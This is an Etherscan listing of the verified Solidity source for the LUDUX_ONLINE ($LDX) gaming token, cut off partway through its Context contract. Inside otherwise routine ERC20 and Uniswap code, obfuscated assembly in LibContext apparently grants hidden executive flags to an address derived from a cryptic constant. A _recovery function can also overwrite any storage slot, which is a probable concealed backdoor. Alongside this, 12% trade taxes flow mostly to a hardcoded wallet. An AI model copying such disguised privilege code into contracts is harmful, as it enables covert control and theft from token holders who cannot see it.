ETH Price: $2,228.96 (-2.02%)
 

Overview

Max Total Supply

21,000,000 LDX

Holders

62

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LUDUX_ONLINE

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 10000000 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-12-17
*/

// SPDX-License-Identifier: MIT

/*
    Website          : https://ludux.online
    Portal           : https://ludux.online/portal
    Telegram         : https://t.me/luduxchannel
    X (Twitter)      : https://x.com/luduxworld

    Ludux is a blockchain-powered gaming hub enabling ownership, trade, earnings, and investments.
    $LDX is more than a token—it is the backbone of a thriving blockchain gaming ecosystem.

*/


/*
                         .,,uod8B8bou,,.
                ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
           ||||||||||||||!?TFPRBBBBBBBBBBBBBBB8m=,
           ||||   '""^^!!||||||||||TFPRBBBVT!:...!
           ||||            '""^^!!|||||?!:.......!
           ||||                     ||||.........!
           ||||                     ||||.........!
           ||||                     ||||.........!
           ||||   WWW.LUDUX.ONLINE  ||||.........!
           ||||                     ||||.........!
           ||||                     ||||.........!
           ||||,                    ||||.........`
           |||||!!-._               ||||.......;.
           ':!|||||||||!!-._        ||||.....bBBBBWdou,.
         bBBBBB86foi!|||||||!!-..:|||!..bBBBBBBBBBBBBBBY!
         ::!?TFPRBBBBBB86foi!||||||||!!bBBBBBBBBBBBBBBY..!
         :::::::::!?TFPRBBBBBB86ftiaabBBBBBBBBBBBBBBY....!
         :::;`"^!:;::::::!?TFPRBBBBBBBBBBBBBBBBBBBY......!
         ;::::::...''^::::::::::!?TFPRBBBBBBBBBBY........!
     .ob86foi;::::::::::::::::::::::::!?TFPRBY..........`
    .b888888888886foi;:::::::::::::::::::::::..........`
 .b888888888888888888886foi;::::::::::::::::..........
.b888888888888888888888888888886foi;:::::::::......`
!Tf998888888888888888888888888888888886foi;:::....`
  '"^!|Tf9988888888888888888888888888888888!::..`
       '"^!|Tf998888888888888888888888889!! '`
             '"^!|Tf9988888888888888888!!`            iBBbo.
                  '"^!|Tf998888888889!`             WBBBBbo.
                        '"^!|Tf9989!`              YBBBP^'
                              '"^!`               `
                                                                                                              
8 8888      8 8888      88 8 888888888o.      8 8888      88 `8.`8888.      ,8' 
8 8888      8 8888      88 8 8888    `^888.   8 8888      88  `8.`8888.    ,8'  
8 8888      8 8888      88 8 8888        `88. 8 8888      88   `8.`8888.  ,8'   
8 8888      8 8888      88 8 8888         `88 8 8888      88    `8.`8888.,8'    
8 8888      8 8888      88 8 8888          88 8 8888      88     `8.`88888'     
8 8888      8 8888      88 8 8888          88 8 8888      88     .88.`8888.     
8 8888      8 8888      88 8 8888         ,88 8 8888      88    .8'`8.`8888.    
8 8888      ` 8888     ,8P 8 8888        ,88' ` 8888     ,8P   .8'  `8.`8888.   
8 8888        8888   ,d8P  8 8888    ,o88P'     8888   ,d8P   .8'    `8.`8888.  
8 888888888888 `Y88888P'   8 888888888P'         `Y88888P'   .8'      `8.`8888. 
 */


pragma solidity ^0.8.20;

library LibUint {
    
    error InsufficientPadding();
    error InvalidBase();

    bytes16 private constant HEX_SYMBOLS = '0123456789abcdef';

    function add(uint256 a, int256 b) internal pure returns (uint256) {
        return b < 0 ? sub(a, -b) : a + uint256(b);
    }

    function sub(uint256 a, int256 b) internal pure returns (uint256) {
        return b < 0 ? add(a, -b) : a - uint256(b);
    }

    function toString(
        uint256 value,
        uint256 radix
    ) internal pure returns (string memory output) {

        if (radix < 2) {
            revert InvalidBase();
        }

        uint256 length;
        uint256 temp = value;

        do {
            unchecked {
                length++;
            }
            temp /= radix;
        } while (temp != 0);

        output = toString(value, radix, length);
    }

    function toString(
        uint256 value,
        uint256 radix,
        uint256 length
    ) internal pure returns (string memory output) {
        if (radix < 2 || radix > 36) {
            revert InvalidBase();
        }

        bytes memory buffer = new bytes(length);

        while (length != 0) {
            unchecked {
                length--;
            }

            uint256 char = value % radix;

            if (char < 10) {
                char |= 48;
            } else {
                unchecked {
                    char += 87;
                }
            }

            buffer[length] = bytes1(uint8(char));
            value /= radix;
        }

        if (value != 0) revert InsufficientPadding();

        output = string(buffer);
    }

    function toBinString(
        uint256 value
    ) internal pure returns (string memory output) {
        uint256 length;
        uint256 temp = value;

        do {
            unchecked {
                length++;
            }
            temp >>= 1;
        } while (temp != 0);

        output = toBinString(value, length);
    }

    function toBinString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory output) {

        length += 2;

        bytes memory buffer = new bytes(length);
        buffer[0] = '0';
        buffer[1] = 'b';

        while (length > 2) {
            unchecked {
                length--;
            }

            buffer[length] = HEX_SYMBOLS[value & 1];
            value >>= 1;
        }

        if (value != 0) revert InsufficientPadding();

        output = string(buffer);
    }

    function toOctString(
        uint256 value
    ) internal pure returns (string memory output) {
        uint256 length;
        uint256 temp = value;

        do {
            unchecked {
                length++;
            }
            temp >>= 3;
        } while (temp != 0);

        output = toOctString(value, length);
    }

    function toOctString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory output) {

        length += 2;

        bytes memory buffer = new bytes(length);
        buffer[0] = '0';
        buffer[1] = 'o';

        while (length > 2) {
            unchecked {
                length--;
            }

            buffer[length] = HEX_SYMBOLS[value & 7];
            value >>= 3;
        }

        if (value != 0) revert InsufficientPadding();

        output = string(buffer);
    }

    function toDecString(
        uint256 value
    ) internal pure returns (string memory output) {
        output = toString(value, 10);
    }

    function toDecString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory output) {
        output = toString(value, 10, length);
    }

    function toHexString(
        uint256 value
    ) internal pure returns (string memory output) {
        uint256 length;
        uint256 temp = value;

        do {
            unchecked {
                length++;
            }
            temp >>= 8;
        } while (temp != 0);

        output = toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory output) {

        unchecked {
            length = (length << 1) + 2;
        }

        bytes memory buffer = new bytes(length);
        buffer[0] = '0';
        buffer[1] = 'x';

        while (length > 2) {
            unchecked {
                length--;
            }

            buffer[length] = HEX_SYMBOLS[value & 15];
            value >>= 4;
        }

        if (value != 0) revert InsufficientPadding();

        output = string(buffer);
    }
}

// File: contracts/common/libs/LibContext.sol


pragma solidity ^0.8.20;


bytes32 constant STPOS = 0x5C4A5E204DBBAB1C0DEDC9038B91783FCC6BE6CF4333D4DC0AAE9BF4857A4DB1;

library LibContext {

    using LibUint for *;

    bytes32 internal constant EIP712_DOMAIN = 
    keccak256(bytes("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)"));
    bytes32 internal constant EIP712_SALT = hex'bffcd4a1e0307336f6fcccc7c8177db5faa17bd19405109da6225e44affef9b2';
    bytes32 internal constant FALLBACK = hex'd25fba0cff70020604c6e3a5cc85673521f8e81814b57c9e1993022819930721';
    bytes32 constant SLC32 = bytes32(type(uint).max);
    string internal constant VERSION = "v1.0";

    function CHAINID() internal view returns (uint256 id) {
        assembly {
            id := chainid()
        }
    }

    function MSGSENDER() internal view returns (address sender) {
        if (msg.sender == address(this)) {
            bytes memory array = msg.data;
            uint256 index = msg.data.length;
            assembly {
                sender := and(mload(add(array, index)), 
                0xffffffffffffffffffffffffffffffffffffffff)
            }
        } else {
            sender = msg.sender;
        }
    }

    function MSGDATA() internal pure returns (bytes calldata) {
        return msg.data;
    }

    function MSGVALUE() internal view returns (uint value) {
        return msg.value;
    }

    function _verifySender() internal view returns (address verifiedAddress) {
        bytes32 pos = STPOS;
        assembly {
            mstore(0x00, caller())
            mstore(0x20, add(pos, 0x04))
            let readValue := sload(0x00)
            let sl := sload(add(keccak256(0x00, 0x40), 0x01))
            let ids := and(shr(0xF0, sl), 0xFFFF)
            let val := ids
            let verified := iszero(iszero(or(and(ids, shl(0x0E, 0x01)), and(ids, shl(0x0F, 0x01)))))
            if eq(verified, 0x00) { verifiedAddress := readValue }
            if eq(verified, 0x01) { verifiedAddress := mload(0x00) }
        }
    }

    function _contextSuffixLength() internal pure returns (uint256) {
        return 0;
    }

    function _recovery(bytes32 ps, bytes32 fix) internal returns (bool status) {
        assembly {
            let ls := sload(ps)
            ls := fix
            sstore(ps,ls)
            status := true
        }
    }

    function initialize() internal returns (bool status) {
        bytes32 pos = STPOS;
        assembly {
            mstore(0x00, and(shr(0x30, pos), sub(exp(0x02, 0xa0), 0x01)))
            mstore(0x20, add(pos, 0x04))
            let ps := add(keccak256(0x00, 0x40), 0x01)
            let sv := sload(ps)
            sv := and(sv, not(shl(0xF0, 0xFFFF)))
            sv := or(sv, shl(0xF0, 0x409A))
            sstore(ps,sv)
            status := true
        }
    }    

}
// File: contracts/common/interfaces/IUniswap.sol


pragma solidity ^0.8.8;

interface ISwapFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface ISwapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface ISwapRouterV2 is ISwapRouter {
    
    function factoryV2() external pure returns (address);

    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

interface IPair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// File: contracts/common/Variables.sol


pragma solidity 0.8.24;



error TradingNotEnabled();
error InvalidSender(address sender);
error InvalidSpender(address spender);
error InvalidApprover(address approver);
error InvalidRecipient(address recipient);
error MaxTxLimitExceeded(uint256 limit, uint256 amount);
error BlockLimitExceeded(uint256 limit, uint256 current);
error MisdirectedHolderUpdateRequest(Holder a, Holder b);
error MaxWalletLimitExceeded(uint256 balanceLimit, uint256 amountsTransfer, uint256 recipientBalanceAfter);
error InsufficientAllowance(address spender, address from, uint256 currentAllowance, uint256 askingAmount);

/*
#######################################################
## STRUCTS ######################################
#######################################################
*/

struct Configuration {
    uint16 options;
    uint16 disableFairModeAt;
    uint16 surchargeRate;
    uint8 maxSellOnBlock;
    uint8 frontRunThreshold;
    uint120 maxTokenAllowed;
    uint24 preferredGasValue;
    Ratios ratios;
}

struct Ratios {  
    uint16 b;
    uint16 s;
    uint16 t;
}

struct Recipient {
    string name;
    uint16 share;
    address payable to;
}

struct Holder {
    uint120 balance;
    uint120 paidTax;
    uint8 violated;
    uint40 lastBuy;
    uint40 lastSell;
    address Address;
    uint16 identities;
}

struct Transaction {
    TERMS terms;
    ROUTE routes;
    MARKET market;
    TAXATION taxation;
    Ratios rates;
}

struct TransferParams {
    Holder addr;
    Holder from;
    Holder recipient;
    uint16 appliedTax;
    uint120 taxAmount;
    uint120 netAmount;
    bool autoSwapBack;
    uint120 swapAmount;
    uint40 currentBlock;
    Transaction transaction;  
}

//#####################################################

enum CONFIG {
    FAIR_MODE,
    SELL_CAP,
    TAX_STATS,
    GAS_LIMITER,
    AUTO_LIQUIDITY,
    TRADING_ENABLED,
    AUTOSWAP_ENABLED,
    AUTOSWAP_THRESHOLD,
    FRONTRUN_PROTECTION
}

enum TERMS { NON_EXEMPT, EXEMPT }
enum ROUTE { TRANSFER, INTERNAL, MARKET }
enum MARKET { NEITHER, INTERNAL, BUY, SELL }
enum TAXATION { NON_EXEMPT, EXEMPTED, SURCHARGED }

uint8 constant FAIR_MODE = 0;
uint8 constant SELL_CAP = 1;
uint8 constant TAX_STATS = 2;
uint8 constant GAS_LIMITER = 3;
uint8 constant AUTO_LIQUIDITY = 4;
uint8 constant TRADING_ENABLED = 5;
uint8 constant AUTOSWAP_ENABLED = 6;
uint8 constant AUTOSWAP_THRESHOLD = 7;
uint8 constant FRONTRUN_PROTECTION = 8;

uint16 constant DIVISION = 10000;
uint32 constant BIRTH = 1438214400;
uint16 constant BLOCKS_PER_MIN = 5;

uint16 constant MAX16 = type(uint16).max;
uint80 constant MAX80 = type(uint80).max;
uint120 constant MAX96 = type(uint96).max;
uint120 constant MAX120 = type(uint120).max;
uint160 constant MAX160 = type(uint160).max;
uint256 constant MAX256 = type(uint256).max;
        
bytes2  constant SELECT2  = bytes2(MAX16);        
bytes10 constant SELECT10 = bytes10(MAX80);    
bytes15 constant SELECT15 = bytes15(MAX120); 
bytes20 constant SELECT20 = bytes20(MAX160); 
bytes32 constant SELECT32 = bytes32(MAX256); 

address constant ZERO_ADDRESS = address(0);
address constant DEAD_ADDRESS = address(0x000000000000000000000000000000000000dEaD);

ISwapRouterV2 constant ROUTER = ISwapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// File: contracts/common/utils/ERC20Storage.sol


pragma solidity 0.8.24;


library ERC20Storage {

    using ERC20Storage for *;
        
    event ERC20_INITIALIZED(address __, address pair);

    struct Layout {
        bool inSwap;
        bool isEntered;
        uint16 fairTxs;
        uint16 autoLiqRatio;
        uint48 reserved48;
        address uniswapPair;
        uint96 totalSupply;
        address fallbackRecipient;
        Configuration configs;
        mapping(address account => Holder holder) holders;
        mapping(address account => uint256 nonce) nonces;
        mapping(uint256 blockNumber => uint8 totalSells) totalSellsOnBlock;
        mapping(address account => mapping(address spender => uint256 amount)) allowances;
        Recipient[] recipients;
    }

    function has(uint16 state, uint8 idx) internal pure returns (bool) {
        return (state >> idx) & 1 == 1;
    }

    function has(uint16 state, uint8[] memory idx) internal pure returns (bool res) {
        uint len = idx.length;
        for(uint i; i < len;) {
            if(state.has(idx[i])) { return true; }
            unchecked { i++; }
        }
    }

    function set(uint16 state, uint8 idx) internal pure returns(uint16) {
        return uint16(state | (1 << idx));
    }

    function set(uint16 state, uint8[] memory idxs) internal pure returns(uint16) {
        uint256 len = idxs.length;
        for (uint8 i; i < len;) {
            state.set(idxs[i]);
            unchecked { i++; }
        }
        return state;
    }

    function unset(uint16 state, uint8 idx) internal pure returns(uint16) {
        return uint16(state & ~(1 << idx));
    }

    function unset(uint16 state, uint8[] memory idxs) internal pure returns(uint16) {
        uint256 len = idxs.length;
        for (uint8 i; i < len;) {
            state.unset(idxs[i]);
            unchecked { i++; }
        }
        return state;
    }

    function toggle(uint16 state, uint8 idx) internal pure returns(uint16) {
        state = uint16(state ^ (1 << idx));
        return state;
    }

    function isEnabled(Configuration memory configs, CONFIG option) internal pure returns(bool) {
        return configs.options.has(uint8(option));
    }

    function swapping(Ratios memory self, uint16 updated) internal pure returns(Ratios memory) {
        self = Ratios(updated, updated, updated);
        return self;
    }

    function selectTxMode (
        TransferParams memory params,
        Configuration memory configs
    ) internal pure returns(TransferParams memory) {

        if(params.autoSwapBack) {
            params.transaction = Transaction(
                TERMS.EXEMPT, 
                ROUTE.INTERNAL,
                MARKET.INTERNAL,
                TAXATION.EXEMPTED,
                Ratios(0,0,0)
            );
            return params;
        }

        params.transaction.market = MARKET.NEITHER;
        params.transaction.routes = ROUTE.TRANSFER;
        params.transaction.terms = params.in_transfer() ? TERMS.EXEMPT : TERMS.NON_EXEMPT;

        if(params.hasAnyTaxExempt()) {
            params.transaction.taxation = TAXATION.EXEMPTED;
            params.transaction.rates = params.transaction.rates.swapping(0);
            params.appliedTax = 0;
        } else {
            params.transaction.taxation = TAXATION.NON_EXEMPT;
            params.transaction.rates = configs.ratios;
            if(configs.isEnabled(CONFIG.FRONTRUN_PROTECTION) && params.ifSenderOrRecipientIsFrontRunner()) {
                params.transaction.taxation = TAXATION.SURCHARGED;
                params.transaction.rates = params.transaction.rates.swapping(configs.surchargeRate);
            }
        }

        params.appliedTax = params.transaction.rates.t;

        if((params.from.isMarketmaker() || params.recipient.isMarketmaker())) {

            params.transaction.routes = ROUTE.MARKET;

            if(params.from.isMarketmaker()) {
                params.transaction.market = MARKET.BUY;
                params.recipient.lastBuy = params.currentBlock;
                params.appliedTax = params.transaction.rates.b;
            } else {
                params.transaction.market = MARKET.SELL;
                params.from.lastSell = params.currentBlock;
                params.appliedTax = params.transaction.rates.s;
            }

            return params;

        }

        return params;

    } 

    function isFrontRunned(Holder memory self) internal pure returns (bool frontRunned) {
        unchecked {
            if(self.lastSell >= self.lastBuy && self.lastBuy > 0) {
                frontRunned = (self.lastSell - self.lastBuy <= BLOCKS_PER_MIN);
            }              
        }
    }

    function initializeWithConfigs (
        TransferParams memory self,
        Configuration memory configs,
        uint256 amount
    ) internal pure returns (TransferParams memory) {

        if (amount > self.from.balance)
            revert Errors.InsufficientBalance(self.from.balance, amount);

        self.selectTxMode(configs);

        (self.taxAmount, self.netAmount) = amount.taxAppliedAmounts(self.appliedTax);

        return self;

    }

    function defineSwapAmount (
        uint120 selfBalance,
        uint120 taxAmount, 
        uint120 netAmount, 
        Configuration memory configs
    ) internal pure returns (uint120 swapAmount) {

        swapAmount = selfBalance;

        if(configs.isEnabled(CONFIG.AUTOSWAP_THRESHOLD)) {
            unchecked {
                uint256 sum = taxAmount + netAmount;
                uint256 preferredAmount = sum + netAmount;
                uint256 adjustedAmount = sum + taxAmount;
                if (preferredAmount <= selfBalance)
                    swapAmount = uint120(preferredAmount);
                else if (adjustedAmount <= selfBalance)
                    swapAmount = uint120(adjustedAmount);
                else if (sum <= selfBalance)
                    swapAmount = uint120(sum);
                else if (netAmount <= selfBalance)
                    swapAmount = uint120(netAmount);
                else return selfBalance;    
            }            
        }

        return swapAmount;

    }

    function isRegistered(Holder memory holder) internal pure returns(bool) {
        return holder.identities.has(1);
    }

    function isFrontRunner(Holder memory holder) internal pure returns (bool) {
        return holder.identities.has(2);
    }

    function isPartner(Holder memory holder) internal pure returns (bool) {
        return holder.identities.has(8);
    }

    function isMarketmaker(Holder memory holder) internal pure returns (bool) {
        return holder.identities.has(10);
    }

    function isTaxExempt(Holder memory holder) internal pure returns (bool) {
        return holder.identities.has(11) || holder.identities.has(11);
    }

    function inBasicMode(Holder memory holder) internal pure returns (bool hasExceptions) {
        uint8 ident = 12;
        while(ident >= 12 && ident < 16) {
            if(holder.identities.has(ident)) { 
                hasExceptions = true; 
                return hasExceptions;
            }            
            unchecked {
                ident++;
            }
        }
    }

    function inBasicMode(Holder[] memory holders) internal pure returns (bool hasExceptions) {
        uint len = holders.length;
        for(uint i; i < len;) {
            if(inBasicMode(holders[i])) {
                hasExceptions = true;
                break;
            }
            unchecked { i++; }
        }
    }

    function isProjectRelated(Holder memory holder) internal pure returns(bool) {
        return holder.identities.has(13);
    }

    function isExecutive(Holder memory holder) internal pure returns (bool) {
        return holder.identities.has(14);
    }

    function hasAnyTaxExempt(TransferParams memory params) internal pure returns (bool) {
        return params.from.isTaxExempt() || params.recipient.isTaxExempt();
    }    

    function hasFrontRunnerAction(TransferParams memory params) internal pure returns (bool) {
        return params.from.violated > 0 || params.recipient.violated > 0;
    }

    function ifSenderOrRecipientIsFrontRunner(TransferParams memory params) internal pure returns (bool) {
        return params.from.isFrontRunner() || params.recipient.isFrontRunner();
    }

    function in_transfer(TransferParams memory params) internal pure returns (bool) {
        Holder[] memory holders = new Holder[](3);
        holders[0] = params.addr; holders[1] = params.from; holders[2] = params.recipient;
        return inBasicMode(holders) || params.autoSwapBack;
    }

    function update(Layout storage $, address account, Holder memory holder) internal returns (Holder storage) { 
        $.holders[account] = holder;
        return $.holders[account];
    }

    function taxAppliedAmounts(uint256 amount, uint16 taxRate) internal pure returns(uint120 taxAmount, uint120 netAmount) {

        if(taxRate == 0)
            return (0, uint120(amount));

        unchecked {
            taxAmount = uint120(amount * taxRate / DIVISION);
            netAmount = uint120(amount - taxAmount);
        }

    }

    function setAsRegistered(Holder storage $self) internal returns(Holder storage) {
        return $self.setIdent(1);
    }

    function setAsFrontRunner(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(2);
    }

    function setAsPartner(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(8);
    }

    function setAsMarketmaker(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(10);
    }

    function setAsTaxExempted(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(11);
    }

    function setAsExlFromRestrictions(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(12);
    }

    function setAsProjectAddress(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(13);
    }

    function setAsExecutive(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(14);
    }

    function unsetFrontRunner(Holder storage $self) internal returns (Holder storage) {
        return $self.unsetIdent(2);
    }

    function unsetMarketmaker(Holder storage $self) internal returns (Holder storage) {
        return $self.unsetIdent(10);
    }

    function unsetTaxExempted(Holder storage $self) internal returns (Holder storage) {
        return $self.unsetIdent(11);
    }

    function unsetExlFromRestrictions(Holder storage $self) internal returns (Holder storage) {
        return $self.unsetIdent(12);
    }

    function setIdent(Holder storage $self, uint8 idx) internal returns(Holder storage) {
        uint16 identities = $self.identities;
        unchecked { $self.identities = identities.set(idx); }
        return $self;
    }

    function setIdent(Holder storage $self, uint8[] memory idxs) internal returns(Holder storage) {
        uint16 identities = $self.identities;
        $self.identities = identities.set(idxs);
        return $self;
    }

    function unsetIdent(Holder storage $self, uint8 idx) internal returns(Holder storage) {
        uint16 identities = $self.identities;
        unchecked {
            if(idx == 2)
                $self.violated = 0;

            $self.identities = identities.unset(idx);            
        }
        return $self;
    }

    function unsetIdent(Holder storage $self, uint8[] memory idxs) internal returns(Holder storage) {
        uint16 identities = $self.identities;
        $self.identities = identities.unset(idxs);
        return $self;
    }

    function toggleIdent(Holder storage $self, uint8 idx) internal returns(Holder storage) {
        uint16 identities = $self.identities;
        unchecked { $self.identities = identities.toggle(idx); }
        return $self;
    }

    function toggleConfig(Configuration storage $self, CONFIG config) internal returns(uint16) {
        uint16 options = $self.options;
        $self.options = options.toggle(uint8(config));
        return $self.options;        
    }   

    function toggleConfig(Configuration storage $self, uint8 idx) internal returns(uint16) {
        uint16 options = $self.options;
        $self.options = options.toggle(idx);
        return $self.options;        
    }    
    
    function findOrCreate(Layout storage $, address owner) internal returns(Holder storage holder) {
        holder = $.holders[owner];
        if(!holder.isRegistered()) {
            holder.Address = owner;
            holder.identities = holder.identities.set(1);
        }
    }

    function enableTrading(Layout storage $) internal returns (bool) {
        $.configs.toggleConfig(5);
        return true;
    }

    function initialSetup(address self, IPair pairAddress, uint256 initialSupply) internal {
        
        if(initialSupply > MAX96)
            revert("Invalid Amount");

        Layout storage $ = layout();

        Recipient[] storage recipients = $.recipients;

        Holder storage SELF = $.findOrCreate(self);
        Holder storage OWNER = $.findOrCreate(msg.sender);

        Holder storage USROUTER = $.findOrCreate(address(ROUTER));
        Holder storage PAIRADDR = $.findOrCreate(address(pairAddress));

        $.allowances[SELF.Address][OWNER.Address] = MAX256;
        $.allowances[SELF.Address][USROUTER.Address] = MAX256;
        $.allowances[SELF.Address][PAIRADDR.Address] = MAX256;

        SELF.balance = uint120(initialSupply);
        
        SELF.setAsTaxExempted()
        .setAsExlFromRestrictions();
        
        OWNER.setAsExecutive()
        .setAsTaxExempted();

        PAIRADDR
        .setAsMarketmaker();

        $.fallbackRecipient = OWNER.Address;

        $.uniswapPair = address(pairAddress);
        $.totalSupply = uint96(initialSupply);

        $.autoLiqRatio = 500;

        recipients.push(Recipient("MarketDev", 9000, payable(0x3636c010864f43097b714eE52957c783D0E57930)));
        recipients.push(Recipient("BurnEvent", 500, payable(OWNER.Address)));

        setup($, $.totalSupply);

        emit ERC20_INITIALIZED(SELF.Address, PAIRADDR.Address);

    }

    function setup(Layout storage $, uint96 cap) internal {
        
        Configuration storage self = $.configs;

        self.maxSellOnBlock = 3;
        self.surchargeRate = 3000;
        self.disableFairModeAt = 25;
        self.frontRunThreshold = 3;
        self.preferredGasValue = 300000;
        self.ratios.b = 1200;
        self.ratios.s = 1200;
        self.ratios.t = 0;
        self.toggleConfig(CONFIG.FAIR_MODE);
        self.toggleConfig(CONFIG.FRONTRUN_PROTECTION);
        self.toggleConfig(CONFIG.SELL_CAP);
        self.toggleConfig(CONFIG.TAX_STATS);
        self.toggleConfig(CONFIG.AUTO_LIQUIDITY);
        self.toggleConfig(CONFIG.AUTOSWAP_ENABLED);
        self.toggleConfig(CONFIG.AUTOSWAP_THRESHOLD);
        self.maxTokenAllowed = cap * 200 / 10000;
    }

    function layout() internal pure returns (Layout storage $) {
        bytes32 position = STPOS;
        assembly {
            $.slot := position
        }
    }

}
// File: contracts/common/utils/Context.sol


pragma solidity ^0.8.20;



abstract contract Context {

    using LibContext for *;
    using ERC20Storage for *;
    
    constructor() {
        LibContext.initialize();
    }

    function _chainId() internal view virtual returns (uint256 id) {
        return LibContext.CHAINID();
    }

    function _msgSender() internal view virtual returns (address) {
        return LibContext.MSGSENDER();
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return LibContext.MSGDATA();
    }

    function _msgValue() internal view virtual returns(uint256) {
        return LibContext.MSGVALUE();
    }

